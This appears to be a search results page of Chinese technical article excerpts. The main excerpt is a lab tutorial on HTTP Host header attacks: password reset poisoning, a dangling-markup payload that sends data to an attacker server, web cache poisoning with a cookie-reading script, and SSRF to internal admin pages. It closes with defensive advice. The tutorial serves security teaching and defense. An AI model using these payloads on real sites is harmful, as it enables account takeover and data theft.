精华内容
下载资源
问答
  • SwitchHost

    2016-08-25 04:22:33
    快速切换host文件,无需再打开host修改,双击即可实现
  • HostTool修改host工具

    热门讨论 2012-12-13 10:14:07
    HostTool是一个host文件编辑工具,运行该软件可以直接编辑host文件,不用再去系统文件夹去修改了,非常方便!
  • C#VS2010 做的欧姆龙PLC通讯程序,完整源码及说明文档。
  • host原始文件

    热门讨论 2013-12-19 03:29:24
    为防止host文件被损坏,这是原始文件,一旦出现问题,下载后直接覆盖即可。
  • switchHost

    2015-07-16 20:42:02
    SwitchHosts_v0.2.2.1785 通过host定向访问某机器,该工具可以很方便得切换不同的host
  • Host是什么?如何设置host文件?

    千次阅读 多人点赞 2020-07-19 08:59:30
    前几天我在使用一些软件和网站时,出了一些小问题,然后我在网上搜解决问题的方法,搜着搜着就看到频繁出现的Host这个词。以前还没有注意到这个东西,因为总觉得它是系统文件,没必要去乱动;但是经过这次处理host...

    前言

    前几天我在使用一些软件和网站时,出了一些小问题,然后我在网上搜解决问题的方法,搜着搜着就看到频繁出现的Host这个词。以前还没有注意到这个东西,因为总觉得它是系统文件,没必要去乱动;但是经过这次处理host问题的经历,我感觉还是有必要来简单的说一下这个所谓的Host文件



    Host是什么?

    一、我们来看看维基百科的介绍

    这个小插图其实已经简单的说清楚了,host它是个什么东西!


    但是光这一点你是看不出来它被用来干过什么,那就让我们继续看维基百科是如何介绍的
    



    二、那网上大多数人是怎么说的呢?


    通过第一部分的维基小介绍,你应该大概有了个印象;如果你还不懂它到底有什么用,那就再听一遍网上各位博主对它的解释。

    • 首先、Hosts它是一个没有扩展名的系统文件,而它的的基本作用就是将一些我们个人常用的网址和相对应的IP地址建立一个关联“数据库”。
    • 所以,当我们(也就是用户)在浏览器输入一个需要我们登录的网址时,我们的计算机系统会首先自动的从Hosts文件中寻找对应的IP地址。
    • 如果一旦找到对应的IP地址,我们的系统将会立即打开对应的网页;如果没有找到,这时候系统将会把网址交给DNS域名解析服务器进行IP地址的解析。

    • 而如果系统发现是被屏蔽的IP或域名,就会禁止打开此网页!

    那么简单的说完它的内容之后,我们就要来看看它有什么具体的作用

    以下内容是我从网上找的资料,我还没有发现到底谁是原作,如有侵权,联系删!


    1. 它可以屏蔽网站

    在Windows系统中,
    约定 127.0.0.1为本地计算机的IP地址, 0.0.0.0是错误的IP地址。

    例如,我们在Hosts中,输入以下内容:
    举个例子:
    127.0.0.1 www.pc280.com # 这个网站影响我孩子的健康成长,我要屏蔽他
    这样,计算机解析域名 www.pc280.com 时,就解析到本机IP或错误的IP,达到了屏蔽不健康网站的目的。

    对于现在某些病毒、恶意程序有一大部分会修改我们的host文件,导致我们无法访问某些网站;这时候,当我们发现某些网站不能访问时,我们可以进入Host文件进行观察,如果是因为Host文件造成的网站无法访问,那么我们可以找到并删除病毒所添加的语句,就可以对网站进行正常访问了。

    1. 它可以加快域名解析

    对于要经常访问的网站,我们可以通过在Hosts中配置域名和IP的映射关系,
    提高域名解析速度。由于有了映射关系,当我们输入域名计算机就能很快解析出IP,
    而不用请求网络上的DNS服务器。
    例如:Host文件中添加一条:222.73.44.198 blog.itful.com
    (IP与域名中间要有空格,IP地址一定要输入正确,不然就访问不了该网站了)
    ——可以通过运行CMD,输入“ping 网站域名” 来获得网站的IP地址!
    这样访问侠客岛速度就会略快一点啦,因为他不需要经过DNS域名服务器进行IP地址的解析!

    1. 它可以方便局域网用户

    在很多单位的局域网中,会有服务器提供给用户使用。
    但由于局域网中一般很少架设DNS服务器,
    访问这些服务器时,要输入难记的IP地址。
    这对不少人来说相当麻烦。
    现在可以分别给这些服务器取个容易记住的名字,
    然后在Hosts中建立IP映射,这样以后访问的时候,
    只要输入这个服务器的名字就行了。



    如何设置它?

    电脑Host文件的位置:

    在XP 、win7、win10系统中,HOST文件

    位于系统盘C:\Windows\System32\drivers\etc中,

    如果进去没有看到Hos文件,是因为某些系统将Host文件隐藏了。

    注意:

    • 以记事本形式查看,或者你也可以用notepad++或者是更好的Vscode进行查看和编辑。

    • 文件一般是 “只读” 属性;所以如果要更改你还需要去掉“只读”属性。

    手机Host文件的位置:

    iPhone OS:/etc 05(需越狱用文件浏览器修改)

    iPad OS:/private/etc 06(需越狱用文件浏览器修改)

    Symbian第1/2版手机:C:\system\data\hosts

    07

    Symbian第3版手机:C:\private\100008 82\hosts,只能使用兼容AllFiles的文件 浏览器访问,大部都不行


    安卓系统:根目录/system/etc/hosts(需root后用re或es文件浏览器修改)

    题外话

    • 通常Google的服务器有很多个,一般都会有访问加速功能,就是说对于不同国家会解析出访问速度最快的网址,因此通常中国访问的IP被封后,其他国家访问的IP还能用,因此只要使用一个Ping工具找出这个服务域名对应的多个ip地址,然后在Hosts文件里添加即可。

    • 这个Ping工具实际是一个站长工具,主要用于测试一个网站在不同国家或地区的访问速度,很多网站都提供,一些cdn测试网站也有,百度或Google一下“ping检测”或“ping tools”就能找到很多。

    • 检测可用IP地址

      现在,我们找到了一堆IP地址,到底那个是可用的IP地址呢?

      一般使用以下最简单的方法:


    HTTP的服务和网址,对于HTTP方式的网址,通常只是封了其80端口,检测方法一般是,“开始”-“运行”-“cmd”,然后输入 ping 目标IP地址(ping和IP地址中间要有个空格号),如果不返回“请求超时”的错误信息,通常就是可用的IP地址。

    展开全文
  • 修复HOST工具

    热门讨论 2011-12-26 16:58:52
    超好用的修复HOST的小工具,只有6K。
  • HTTP Host 头攻击 -- 学习笔记

    千次阅读 2020-10-17 21:44:26
    1. HTTPHost头攻击 从HTTP / 1.1开始,HTTP Host标头是必需的请求标头。...在某些情况下,例如当请求由代理转发时,Host值可能会在到达预期的后端组件之前进行更改。也就发生了Host头攻击。 2. HT...

    目录

    1. HTTP Host头攻击

    2. HTTP Host头的作用

    3. 什么是HTTP Host头攻击

    4. 如何发掘HTTP Host头攻击

    修改Host值

    添加重复的Host头

    使用绝对路径的URL

    添加缩进或换行

    注入覆盖Host头的字段

    忽略端口仅校验域名

    5. HTTP Host头攻击漏洞示例

    5.1 密码重置中毒

    5.1.1 密码重置中毒—基础

    5.1.2 密码重置中毒—注入覆盖Host头的字段

    5.1.3 重置密码中毒—Dangling Markup技术

    5.2 Host头攻击+缓存投毒

    5.3 Host头攻击绕过访问控制

    5.4 Host头攻击+SSRF

    5.4.1 基础Host头攻击+SSRF

    5.4.2 Host头攻击+SSRF—使用绝对路径的URL

    6. HTTP Host头攻击防护

    6.1 正确配置绝对域名URL

    6.2 白名单校验Host头的域

    6.3 不支持主机头覆盖


    1. HTTP Host头攻击

    从HTTP / 1.1开始,HTTP Host标头是必需的请求标头。 它指定客户端要访问的域名。 例如,当用户访问https://example.net/web-security时,其浏览器将组成一个包含Host标头的请求,如下所示:

    GET /web-security HTTP/1.1
    Host: example.net

    在某些情况下,例如当请求由代理转发时,Host值可能会在到达预期的后端组件之前进行更改。也就发生了Host头攻击。

     

    2. HTTP Host头的作用

    HTTP Host头的目的是帮助识别客户端要与之通信的后端组件。如果请求不包含Host头或者格式不正确,则在将传入请求的应用程序时可能会导致问题。

    从历史上看,这种漏洞并不存在太大问题,因为每个IP地址只会被用于单个域的内容。如今,很大程度上是由于同一个IP上存在多个Web应用程序(不同端口,不同域名解析等),通常可以在同一IP地址访问多个网站和应用程序。这种方法的普及也部分是由于IPv4地址耗尽所致。

    当可以通过同一IP地址访问多个应用程序时,最常见的原因是以下情况之一:

    • 虚拟主机

    单个Web服务器托管多个网站或应用程序。这可能是具有单个所有者的多个网站,但是也可能是不同所有者的网站托管在同一个共享平台上。它们都与服务器共享一个公共IP地址。

    • 通过代理路由流量

    网站托管在不同的后端服务器上,但是客户端和服务器之间的所有流量都通过代理系统进行路由。这可能是一个简单的负载平衡设备或某种反向代理服务器。在客户通过内容分发网络(CDN)访问网站的情况下,这种设置尤其普遍。

    在上面两种种情况下,即使网站托管在单独的后端服务器上,它们的所有域名也都解析为中间组件的单个IP地址。这带来了与虚拟主机相同的问题,因为反向代理或负载平衡需要知道每个请求到的哪个后端上。

    HTTP Host头的作用就在于,指定请求应该发送到那个应用程序的后端服务器上。打个比方,一封信需要送到居住在公寓楼中的某人手中,整个公寓有许多房间,每个房间都可以接受信件,通过指定房间号和收件人(也就是HTTP Host头)来将信封送到指定的人手中。

     

    3. 什么是HTTP Host头攻击

    一些网站以不安全的方式处理Host头的值。如果服务器直接信任Host头,未校验它的合法性,则攻击者可能能够使用此可控变量来注入Host,以操纵服务器端的行为。

    现成的Web应用程序通常不知道将它们部署在哪个域上,除非在安装过程中在配置文件中手动指定了该域。例如,当他们需要知道当前域以生成电子邮件中包含的绝对URL时,他们可能依赖于Host头中的值:

    <a href="https://_SERVER['HOST']/support">联系支持</a>

    Host头值还可以用于不同网站系统之间的各种交互。

    由于Host头实际上是用户可控制的,因此这种做法可能导致许多问题。如果未校验或者直接使用Host头,则Host头可以与一系列其他漏洞“组合拳”攻击,比如:

    • 缓存投毒
    • 特殊业务功能的逻辑漏洞
    • 基于路由的SSRF
    • 经典服务端漏洞,如SQL注入(当Host被用于SQL语句时)等

     

    4. 如何发掘HTTP Host头攻击

    首先要判断服务端是否检测Host头?检测完了是否还使用Host头的值?

    通过修改Host的值,如果服务端返回错误信息:

    则说明服务端检测了Host的内容。至于有没有使用Host头的值,有以下几种方法去发掘:

    修改Host值

    简单的来说,可以修改HTTP头中的Host值,如果观察到响应包中含有修改后的值,说明存在漏洞。

    但有时候篡改Host头的值会导致无法访问Web应用程序,从而导致“无效主机头”的错误信息,特别是通过CDN访问目标时会发生这种情况。

    添加重复的Host头

    添加重复的Host头,通常两个Host头之中有一个是有效的,可以理解为一个是确保请求正确地发送到目标服务器上;另一个则是传递payload到后端服务器中。

    GET /example HTTP/1.1
    Host: vulnerable-website.com
    Host: attackd-stuff

    使用绝对路径的URL

    尽管许多请求通常在请求域上使用相对路径,但是也同时配置了绝对URL的请求。

    GET https://vulnerable-website.com/ HTTP/1.1
    Host: attack-stuff

    有时候也可以尝试不同的协议,如HTTP或HTTPS。

    添加缩进或换行

    当一些站点block带有多个Host头的请求时,可以通过添加缩进字符的HTTP头来绕过:

    GET /example HTTP/1.1
     Host: attack-stuff
    Host: vulnerable-website.com

    注入覆盖Host头的字段

    与Host头功能相近的字段,如X-Forwarded-Host、X-Forwarded-For等,这些有时候是默认开启的。

    GET /example HTTP/1.1
    Host: vulnerable-website.com
    X-Forwarded-Host: attack-stuff

    诸如此类,还有其他的字段:

    • X-Host
    • X-Forwarded-Server
    • X-HTTP-Host-Override
    • Forwarded

    忽略端口仅校验域名

    当修改、添加重复Host头被拦截的时候,可以尝试了解Web应用程序是怎样解析Host头的。

    比如,一些解析算法会忽略Host头中的端口值,仅仅校验域名。这时候可以将Host修改为如下形式:

    GET /example HTTP/1.1
    Host: vulnerable-website.com:attack-stuff

    保持域名不变,修改端口值为非端口号的其他值(非数字), 将Host头攻击的payload放在端口值处,同样能进行Host头攻击。

     

    5. HTTP Host头攻击漏洞示例

    5.1 密码重置中毒

    根据HTTP Host头攻击的攻击特点,它被广泛应用于密码重置中毒:攻击者可以操纵网站在重置密码情况下生成的密码重置链接,使其发送攻击者指定的域下,利用此来窃取重置任意用户密码的令牌。

    一个重设密码(忘记密码)功能的大致流程如下:

    1. 用户输入其用户名或电子邮件地址,然后提交密码重置请求。
    2. 该网站检查该用户是否存在,然后生成一个临时的、唯一的、复杂的令牌,该令牌与后端的用户帐户相关联。
    3. 该网站向用户发送一封电子邮件,其中包含用于重置其密码的链接。重置令牌的参数包含在相应的URL中:

    https://normal-website.com/reset?token=0a1b2c3d4e5f6g7h8i9j

    4. 当用户访问此URL时,网站将检查提供的令牌是否有效,并使用它来确定要重置哪个帐户。如果一切都符合,则可以进入用户重置密码步骤。最后,令牌被销毁。

    以上步骤的安全性依赖于:只有目标用户才能访问其电子邮件,从而可以访问其唯一的令牌。

    密码重置中毒是窃取此令牌以更改另一个用户密码的一种漏洞。

    如果网站重置密码的流程完全依赖用户的可控输入(如HTTP Host头),这可能导致密码重置中毒:

    1. 攻击者获取受害者的用户名或者电子邮件,作为提交重置密码的请求,攻击者会拦截请求并修改HTTP Host头为其指定的域,如evil-user.net

    2. 受害者会收到一封重置密码的邮件,但由于攻击者修改了Host头,而web程序生成重置链接又完全依赖于Host头,导致生成以下URL:

    https://evil-user.net/reset?token=0a1b2c3d4e5f6g7h8i9j

    3. 如果受害者点击了该链接,重置密码的令牌就会发送到攻击者的服务器 evil-user.net 上

    4. 当攻击者获取到虫子密码的令牌之后,就会进行相应的构造访问真实重置密码的URL进行密码重置。

    5.1.1 密码重置中毒—基础

    详细了解了上面的密码重置中毒的流程和原理之后,这里通过HTTP Host头攻击导致的基础的密码重置中毒来演示。

    首先输入用户名或者用户的电子邮箱来重置指定用户的密码:

    提交之后,会发送一封重置密码的电子邮件到wiener用户的邮箱中(数据包如右图):

    注意重置密码的链接,可能是受Host头的值的影响?

    我们来验证一下是否存在HTTP Host头攻击,修改Host头的值为 baidu.com:

    发现请求是可以被后端服务器接收的,所以是存在HTTP Host头攻击的。

    这里就输入受害用户carlos进行重置密码,然后抓包将Host头的值改为我们自己的服务器: 

    然后在我们自己的服务器上就可以通过访问日志看到被窃取的重置密码Token:

    然后根据已知链接规律,构造重置密码的链接:

    https://ac651f551e5317b8800207bd008f000f.web-security-academy.net/forgot-password?temp-forgot-password-token=00YIexUDyNLEJkaBXDoCILWtZAGaxgi7

    随即进入输入新密码的界面,密码重置中毒成功。

    5.1.2 密码重置中毒—注入覆盖Host头的字段

    有时候直接修改Host头、添加重复Host头的值以及混淆Host头都不行:

    可以尝试使用与Host头功能相同的HTTP字段,如X-Forwarded-Host、X-Forwarded-For等,可以进行Fuzz:

    实际上他能够被 X-Forwarded-Host 字段影响,导致Host头攻击,当同时添加多个字段使请求被拦截时,可以尝试类似排除法、二分法来排查哪个字段有效。

    对受害用户carlos进行密码重置投毒:

    然后构造链接即可:

    https://acf11f4e1f164378800b165b00bb007d.web-security-academy.net/forgot-password?temp-forgot-password-token=o8gD3Le1K0YQcb2AaASgiI8F2eVI5m3h

    5.1.3 重置密码中毒—Dangling Markup技术

    首先简单介绍一下 Dangling Markup技术:

    • Dangling markup技术

    Dangling markup技术, 是一种无需脚本即可窃取页面内容的技术,它使用图像等资源(结合CSP运行的策略)将数据发送到攻击者控制的远程位置。当反射型XSS不工作或被内容安全策略(CSP)阻止时,它非常有用。其思想是插入一些未完成状态的部分HTML,例如图像标记的src属性,页面上的其余标记关闭该属性,但同时将两者之间的数据(包含窃取页面的内容)发送到远程服务器。

    例如,我们在反射型XSS注入点上注入这样一个img标签:

    <img src="https://evilserver/?

    则注入点和下一个双引号的代码将会发送到攻击者的 https://evilserver 服务器, 其中被发送的代码或者内容可能包含一些敏感信息, 例如CSRF Token等, 配合反射型XSS以完成CSRF的利用。

    关于 Dangling Markup技术 的实战意义可以参考博主之前的文章:绕过CSP之Dangling markup技术

    什么时候可以使用 Dangling Markup技术 呢?与我们这篇文章的主题有什么关系呢?

    我们直接进入主题,当输入需要重置密码的用户名后,该用户的邮箱内会收到如下邮箱:

    有一个跳转到登录界面的链接,后面紧接着重置之后的随机密码。

    此时考虑一下,该链接是否是从Host头取值而来?只要这个值可控,那么就可以利用Host头攻击实施 Dangling Markup攻击,包含住链接后面紧跟着的密码,再结合Host头攻击将请求指定到攻击者服务器上。一个漫天过海的窃取行为就完成了。

    • 第一步,寻找Host头攻击点:

    通过Fuzz,可发现Host头攻击类型为 忽略端口仅校验域名。即服务端在校验Host域的时候,仅校验了域名,忽略了后面的端口号,造成端口值可控(可以是数字或字符):

    通过在Host头的端口中注入payload,依旧可以实现Host头攻击。

    • 第二步,借助可控变量 Host:ip:port 来实施 Dangling Markup技术,从而将后面的密码外带到攻击者服务器上:

    注意,需要闭合此处的双引号出去,经过尝试,输入单引号时,服务端会自动转为双引号,故这里通过单引号将双引号闭合,然后添加自定的<a href=xxx.attack-domain>标签将密码外带:

    原本的正常HTML是这样的:

    通过  Dangling Markup技术 在<a>标签的链接中注入? 符,使得后面的值在双引号闭合之前全部被当做URL参数请求到攻击者服务器上:

    这也是 Dangling Markup技术 的精髓所在,该技术的核心点在于:

    可控变量后面是否接着需要窃取的关键数据(包括Token、密码等)

    在攻击者服务器上可以看到被Host头攻击转发上来的请求,里面成功窃取了受害者重置后的密码:

    5.2 Host头攻击+缓存投毒

    当存在Host头攻击的web站点不存在密码重置的功能的时候,此时该漏洞就显得没有影响,因为不可能驱使用户去抓包修改Host头,辅助攻击者完成一系列的攻击。

    但是,如果目标站点使用Web缓存,则可以通过缓存投毒给其他用户提供带有病毒的缓存响应。此时的Host头攻击漏洞转变为类似XSS存储型类的漏洞。要构造Web缓存投毒攻击:

    1. 需要寻找映射到其他用户请求的缓存键;

    2. 下一步则是缓存此恶意响应;

    3. 然后,此恶意缓存将提供给尝试访问受影响页面的所有用户。

    • 第一步,寻找Host头攻击点:

    通过对站点的主页添加重复的Host值,可以达到覆盖的效果,并验证存在Host头攻击:

    • 第二步,寻找是否使用了Web缓存?缓存键是什么?

    从上图中也可以发现,站点使用了Wen缓存功能,并且配合Host头攻击,可以缓存 /resources/js/tracking.js 资源文件。

    • 第三步,在攻击者服务器上创建一个同名的 /resources/js/tracking.js 资源文件,内容为:
    alert(document.cookie);

    然后通过Host头注入攻击者服务器域名,可以看到在响应中正确地对应了我们的 /resources/js/tracking.js 资源文件:

    发送多次请求,使该请求的响应变为缓存:

    当其他用户请求站点主页时,服务端就会提供该恶意缓存给用户,造成缓存投毒。

    5.3 Host头攻击绕过访问控制

    出于安全考虑,通常网站对某些功能的访问限制为内部用户使用。但是通过Host头攻击一定可能上可以绕过这些限制。

    对于一个站点,从发现Host头攻击到利用,下面来展示一个完整的流程:

    • 第一步,访问主页,随意修改Host的值:

    注意,这里的Host的值不会出现响应包中,但是依然可能存在Host头攻击,因为响应依然成功,说明服务端没有对Host头做验证。

    • 第二步,寻找敏感页面,通过 /robots.txt 知道 /admin 为做了访问控制的页面:

    可以错误信息提示,/admin 页面只允许本地用户访问。 

    • 第三步,将Host改为服务端内部地址,从而绕过IP访问控制:

    5.4 Host头攻击+SSRF

    Host头攻击可能会导致基于路由的SSRF攻击,称为:Host SSRF Attack。

    经典的SSRF攻击通常基于XXE或可利用的业务逻辑,将用户可控的URL作为HTTP请求发送;而基于路由的SSRF依赖于云部署的体系结构中,包括负载均衡和反向代理,这些中间件将请求分配发送到对应的后端服务器处理,如果服务端未校验Host头转发的请求,则攻击者可能会将请求发送(重定向)到体系中的任意系统。

    这可能需要知道内部系统的IP地址(私有地址),一般可以通过信息收集或者Fuzz来判断有效的私有IP地址(如枚举192.168.1.1/16)。

    5.4.1 基础Host头攻击+SSRF

    比如,普通方式访问不到 /admin 页面(404):

     

    猜测 /admin 存在于内网中,需要内网机器才能访问,但是配合Host头攻击+SSRF可以绕过并访问。 

    • 第一步,判断Host是否被使用,可用DNSLog外带

    这里我使用Burp自带的 “Burp Collaborator client”  来实现外带:

    说明服务端是根据Host头的域名来请求资源的。

    • 第二步,基于Host头的SSRF探测内网主机

    假如一些敏感的页面(比如管理页面),深处于内网,外网无法访问,但是通过Host头攻击+SSRF可达到绕过访问控制,从而访问内网资产,这里Fuzz内网的IP的C段为192.168.0.0/24,直接利用Intruder枚举:

    得到内网IP为192.168.0.240

    • 第三步,访问内网资源

    构造 /admin 页面,在Host处换位内网IP:

    5.4.2 Host头攻击+SSRF—使用绝对路径的URL

    有时候服务端会校验Host头的值,如果Host被修改,服务端会拒绝一切修改过后的请求:

    普通请求通常在请求域上使用相对路径,但是,服务端也同时可能配置了绝对URL的请求,采用如下形式可绕过对Host的验证:

    GET http://acab1f4b1f3c7628805c2515009a00c9.web-security-academy.net/ HTTP/1.1

    接着用 “Burp Collaborator client” 进行外带:

    外带成功,说明Host头被服务端使用来向指定域名请求资源,直接SSRF爆破内网:

    访问内网页面:

     

    6. HTTP Host头攻击防护

    最简单的方法是避免在服务器端代码中完全使用Host头,可以只使用相对URL。

    其他方法包括:

    6.1 正确配置绝对域名URL

    当必须使用绝对域名URL时,应在配置文件中手动指定当前域的URL,并引用配置的值,而不是从HTTP的Host头中获取。这种方法可防止密码重置的缓存投毒。

    6.2 白名单校验Host头的域

    如果必须使用Host头,需要正确校验它的合法性。这包括允许的域,并使用白名单校验它,以及拒绝或重定向对无法识别的主机请求。这包括但不仅限于单个web应用程序、负载均衡以及反向代理设备上。

    6.3 不支持主机头覆盖

    确保不适用与Host头功能相近的字段,如X-Forwarded-Host、X-Forwarded-For等,这些有时候是默认开启的。

    值得一提的是,不应该将内网使用的Host主机(不出网)与公网的应用程序托管在同一个服务器上,否则攻击者可能会操纵Host头来访问内部域。

    展开全文
  • nginx中$host、$http_host和$proxy_host区别

    千次阅读 2020-06-28 17:22:54
    nginx中hosthosthost、http_host和$proxy_host区别 变量 是否显示端口 值 $host 不显示端口 浏览器请求的ip,不显示端口 $http_host 端口存在则显示 浏览器请求的ip和端口号 $proxy_host 默认80端口...

    nginx中$host、$http_host和$proxy_host区别

    变量是否显示端口
    $host不显示端口浏览器请求的ip,不显示端口
    $http_host端口存在则显示浏览器请求的ip和端口号
    $proxy_host默认80端口不显示,其它显示被代理服务的ip和端口号

    配置反向代理时,接口请求报404问题

    应用描述:前端应用域名为A(ww.a.com), 后端服务域名为B(www.b.com); 为了解决跨域问题,配置nginx反向代理如下:

    ...
    proxy_set_header Host $host;
    ...
    location ^~ /api/ {
    	rewrite "^/api/(.*)$"  /$1 break;
    	proxy_pass	http://www.b.com;
    }
    

    问题:这样配置完成后,接口报404问题。
    解决
    方案一:将proxy_set_header注释掉
    方案二:修改反向代理配置,设置请求头Host,如下所示:

    location ^~ /api/ {
    	rewrite "^/api/(.*)$"  /$1 break;
    	proxy_pass	http://www.b.com;
    	proxy_set_header Host $proxy_host; //方式一:设置请求头host为www.b.com的ip和端口号
    	proxy_set_header Host www.b.com; //方式二:设置请求host为www.b.com
    }
    
    展开全文
  • android usb host实现串口传输数据

    热门讨论 2012-07-03 20:13:12
    3.1版本之后支持的usb host API。可以通过usb接口让安卓设备作为主设备来接收来自usb的数据,比如平板上插个单片机,就可以接收单片机的数据了。该程序封装了多个包,实现了该功能。
  • 如何修改host文件

    千次阅读 2020-06-07 16:38:34
    host是什么: 是一个没有扩展名的系统文件,可以用记事本等工具打开 二.为何要修改host: 1).就是将一些常用的网址域名与其对应的IP地址建立一个关联“数据库”, 当用户在浏览器中输入一个需要登录的网址时,系统...

    一. host是什么:
    是一个没有扩展名的系统文件,可以用记事本等工具打开

    二.为何要修改host:
    1).就是将一些常用的网址域名与其对应的IP地址建立一个关联“数据库”,
    当用户在浏览器中输入一个需要登录的网址时,系统会首先自动从Hosts文件中寻找对应的IP地址,一旦找到,系统会立即打开对应网页,如果没有找到,则系统会再将网址提交DNS域名解析服务器进行IP地址的解析。

    **2).加快域名解析**
    		对于要经常访问的网站,我们可以通过在Hosts中配置域名和IP的映射关系,提高域名解析速度。由于有了映射关系,当我们输入域名计算机就能很快解析出IP,而不用请求网络上的DNS服务器。
    

    3)、方便局域网用户
    在很多单位的局域网中,会有服务器提供给用户使用。但由于局域网中一般很少架设DNS服务器,访问这些服务器时,要输入难记的IP地址。这对不少人来说相当麻烦。可以分别给这些服务器取个容易记住的名字,然后在Hosts中建立IP映射,这样以后访问的时候,只要输入这个服务器的名字就行了。

    4) 屏蔽网站(域名重定向)
    有很多网站不经过用户同意就将各种各样的插件安装到你的计算机中,其中有些说不定就是木马或病毒。对于这些网站我们可以利用Hosts把该网站的域名映射到错误的IP或本地计算机的IP,这样就不用访问了。在WINDOWS系统中,约定 127.0.0.1 为本地计算机的IP地址, 0.0.0.0是错误的IP地址。
    如果,我们在Hosts中,写入以下内容:
    127.0.0.1要屏蔽的网站A的域名
    0.0.0.0要屏蔽的网站B的域名
    这样,计算机解析域名A和 B时,就解析到本机IP或错误的IP,达到了屏蔽网站A 和B的目的。

    5) 顺利连接系统
    对于Lotus的服务器和一些数据库服务器,在访问时如果直接输入IP地址那是不能访问的,只能输入服务器名才能访问。那么我们配置好Hosts文件,这样输入服务器名就能顺利连接了。

    6).虚拟域名
    很多时候,网站建设者需要把”软环境“搭建好,再进行上传调试。但类似于邮件服务,则需要使用域名来辅助调试,这时就可以将本地 IP 地址与一个”虚拟域名“做地址指向,就可以达到要求的效果,且无需花费。如:
      127.0.0.1 网站域名
      之后在浏览器地址栏中输入对应的网站域名即可。

    三.(win7)修改host文件的操作步骤:

    第一步:从电脑的C盘进入—C:\Windows\System32\drivers\etc 到etc文件夹里。
    在这里插入图片描述

    第二步、在etc文件里右键用“”记事本“”打开“”host文件“”
    在这里插入图片描述

    第三步、按自己的要求进行,然后保存即可。

    四、修改后无效的问题:

       1.多人是写在最后行,写完最后一行后在没有回车的情况下,这一行是不生效的。一定要记得回车。建议大家遵循这样的习惯:“ip地址+Tab+域名+换行” 添加记录。
    

    2、hosts文件的系统属性:
    hosts文件默认具有隐藏属性,系统默认设置情况下是看不到的,当然进到这个文件除了直接输入路经也是无法看到了。解决办法:打开我的电脑->点击工具->文件夹选项->查看->取消勾选隐藏受保护的系统文件->确定即可。

    修改后无法保存:
    Wikipedia Hosts
    Wikipedia Hosts
    在Hosts文件上面点右键->属性->把只读属性去掉->确定,即可保存。

    3.Hosts在UAC安全策略无法打开或编辑:
    遇到windows VISTA 或者 windows 7 操作系统无法打开和编辑的情况,提示:“不能创建文件” 或者 “文件操作失败”等提示,是因为安全机制UAC造成的,你可以使用以下方法解决:
    按着Shift键,然后Hosts文件上面右键, 以管理员方式运行即可。

    4.一个比较便捷的打开hosts文件的方法
    新建一个txt文件,在你其中输入:
    notepad “%SystemRoot%\system32\drivers\etc\hosts”
    ipconfig /flushdns
    exit 保存,将扩展名改成成.bat,之后双击这个bat文件就可以自动打开hosts文件进行修改了。

    5.Android中的Hosts
    由于某些原因,可能需要修改 hosts 文件指定域名到对应的 IP 地址。Android 是基于 Linux 的系统,与 Linux 类似,通过 hosts 文件来设置。
    在 Android 下,/etc 是 link 到 /system/etc 的,我们需要修改 /system/etc/hosts 来实现。但是这个文件是只读,不能通过 shell 直接修改。可以通过连接到 PC 上使用 adb 来修改。步骤如下:
    1、获得root权限:adb root
    2、设置/system为可读写:adb remount
    3、将hosts文件复制到PC:adb pull /system/etc/hosts
    4、修改PC机上文件
    5、将PC机上文件复制到手机:adb push /system/etc/hosts
    如果要查看是否修改成功,可以在PC上执行adb shell,运行cat /system/etc/hosts;或者在手机上运行cat /system/etc/hosts。
    在Android系统中,hosts文件格式有一点与PC机Linux不同:不能在一行中一个IP对应多个域名,比如:
    127.0.0.1 host1.example.com host2.example.com host3.example.com
    在大多PC机Linux系统是合法的,但不能在Android上起作用,需要拆成每个域名一行才能使用:
    x.x.x.x host1.example.com
    x.x.x.x host2.example.com
    x.x.x.x host3.example.com

    展开全文
  • 这就要求Kubernetes中的该Pod以HOST模式来启动。以下实验了Kubernetes-HOST网络模式,并给出了一些运维建议。 1、Pod的网络 每个Pod都会默认启动一个pod-infrastructure(或pause)的容器,作为共享网络的基准容器。...
  • ssh: connect to host 192.168.1.20 port 22: No route to host root@hadoop:/home/hairui# virsh list Id 名称 状态 ---------------------------------------------------- 2 centos7.0-2 running root@hadoop:...
  • 使用 nightly 版本时,Crates 源可能会出现 Couldn't resolve host name (Could not resolve host: crates) 错误(见 https://github.com/ustclug/discussions/issues/294)。一个临时的解决方法是在运行 cargo 的...
  • Docker网络(host、bridge、none)详细介绍

    千次阅读 多人点赞 2020-03-17 11:35:03
    Docker网络(host、bridge、none) 我们会首先学习Docker提供的几种原生网络,以及如何创建自定义网络;然后探讨容器之间如何通信,以及容器与外界如何交互。 Docker网络从覆盖范围可分为单个host上的容器网络和跨...
  • mac 配置host

    千次阅读 2020-05-23 08:51:59
    Host是什么 Hosts是一个没有扩展名的系统文件,可以用记事本等工具打开,其作用就是将一些常用的网址域名与其对应的IP地址建立一个关联“数据库”,当用户在浏览器中输入一个需要登录的网址时,系统会首先自动从...
  • Github 修改 host 加速

    千次阅读 2021-03-09 15:55:06
    原理:通过修改域名 host 或者 使用公共 DNS 解析来加速解析,获取资源。 修改 Host 以下以 Mac OS 为例 host 位置: /etc/hosts 域名 IP 查询网站 站长工具–国内、ipaddress–国外 将以下域名的 IP 查询到,添加到...
  • Kubernetes-Host网络模式应用

    千次阅读 2018-05-14 13:41:43
    这就要求Kubernetes中的该Pod以HOST模式来启动。以下实验了Kubernetes-HOST网络模式,并给出了一些运维建议。 1、Pod的网络  每个Pod都会默认启动一个pod-infrastructure(或pause)的容器,作为共享网络的基准...
  • 安全漏洞之host头攻击漏洞

    千次阅读 2020-03-27 20:05:22
    安全漏洞之host头攻击漏洞 漏洞描述 渗透测试人员发现,抓包修改host头,在返回包中的base标签中的值会随host值改变,说明存在host头攻击漏洞。 漏洞建议 建议使用SERVER_NAME而不是hostheader。 脆弱性...
  • USB HOST与 USB OTG的区别及工作原理

    万次阅读 多人点赞 2018-08-01 14:06:06
    在SmartQ 7上面,同时存在USB HOST与 USB OTG两个接口,我想问一下,这两个接口有什么区别么?我怎么认为HOST属于是多余呢? 麻烦高手解答,感激不尽!!!   零 USB背景知识 USB是一种数据通信方式,也是一种数据总线,...
  • Docker配置host地址

    千次阅读 2020-01-14 15:50:55
    前言 在配置服务器的时候经常会修改域名映射, 也就是/etc/hosts文件, ...docker run -it --add-host host1:192.168.1.1 --add-host host2:192.168.1.2 alpine / # cat /etc/hosts 127.0.0.1 localhost ::1...
  • if (host == null || host.length() == 0) { host = getInetAddress().getHostName(); } return host; } synchronized String getHost() { // Note that the host may be null or empty for localhost. if (host ==...
